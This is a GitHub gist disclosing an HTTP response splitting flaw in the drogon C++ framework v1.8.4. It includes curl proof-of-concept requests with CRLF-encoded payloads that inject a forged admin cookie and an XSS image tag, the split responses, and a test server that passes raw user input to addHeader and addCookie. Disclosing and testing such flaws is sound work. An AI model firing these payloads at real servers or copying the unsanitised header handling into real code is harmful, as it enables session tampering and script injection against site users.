Skip to content

Instantly share code, notes, and snippets.

@dellalibera
Created May 16, 2023 10:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dellalibera/666d67165830ded052a1ede2d2c0b02a to your computer and use it in GitHub Desktop.
Save dellalibera/666d67165830ded052a1ede2d2c0b02a to your computer and use it in GitHub Desktop.
HTTP Response Splitting in drogon@v1.8.4

Information

Project: drogon

Tested Version: v1.8.4

Github Repository: https://github.com/drogonframework/drogon

Details

drogon is vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values in the addHeader and addCookie functions. An attacker can add the \r\n (carriage return line feeds) characters to end the HTTP response headers and inject malicious content, like for example additional headers or new response body, leading to a potential XSS vulnerability.

More reference about this vulnerability and its impact:

Reference to similar issues affecting other projects:

Setup

PoC

The PoC demonstrates how it's possible to add arbitrary headers and response body if user controlled values are used to set the headers value.

  • create a web server:
drogon_ctl --version
A utility for drogon
Version: 1.8.4
Git commit: 87a3132fd1c0da1a88e080c879a9e55af71586be

drogon_ctl create project server
cd build
cmake ..
make
./server
  • run the following curl commands to observe the response (or directly open the links in the browser to see the xss alert)
curl -i -X GET "http://localhost:8889/test1?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
content-length: 39
content-type: text/html; charset=utf-8
server: drogon/1.8.4
myheader: A
Set-Cookie: admin=1
Foo: Bar

<img src=x onerror=alert("hello") />
curl -i -X GET "http://localhost:8889/test2?user=A%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
content-length: 39
content-type: text/html; charset=utf-8
server: drogon/1.8.4
Set-Cookie: MyCookie=A
Foo: Bar

<img src=x onerror=alert("hello") />
;
curl -i -X GET "http://localhost:8889/test3?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
content-length: 39
content-type: text/html; charset=utf-8
server: drogon/1.8.4
myheader: A
Set-Cookie: admin=1
Foo: Bar

<img src=x onerror=alert("hello") />

Impact

If untrusted user input is placed in header values, a malicious user could inject additional headers. It can lead to logical errors and other misbehaviours.

Author

Alessio Della Libera

#include <drogon/drogon.h>
using namespace drogon;
int main()
{
// curl -i -X GET "http://localhost:8889/test1?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
app().registerHandler(
"/test1?user={user-name}",
[](const HttpRequestPtr &, std::function<void(const HttpResponsePtr &)> &&callback, const std::string &name) {
auto resp = HttpResponse::newHttpResponse();
resp->addHeader("MyHeader", name);
resp->setBody("Hello world!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
callback(resp);
},
{Get});
// curl -i -X GET "http://localhost:8889/test2?user=A%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
app().registerHandler(
"/test2?user={user-name}",
[](const HttpRequestPtr &, std::function<void(const HttpResponsePtr &)> &&callback, const std::string &name) {
auto resp = HttpResponse::newHttpResponse();
resp->addCookie("MyCookie", name);
resp->setBody("Hello world!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
callback(resp);
},
{Get});
// curl -i -X GET "http://localhost:8889/test3?user=A%0d%0aSet-Cookie:+admin=1%0d%0aFoo:+Bar%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
app().registerHandler(
"/test3",
[](const HttpRequestPtr &req,
std::function<void(const HttpResponsePtr &)> &&callback) {
auto resp = HttpResponse::newHttpResponse();
auto name = req->getOptionalParameter<std::string>("user");
if (name)
resp->addHeader("MyHeader", name.value());
resp->setBody("Hello world!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
callback(resp);
},
{Get});
LOG_INFO << "Server running on 0.0.0.0:8889";
app().addListener("0.0.0.0", 8889).run();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment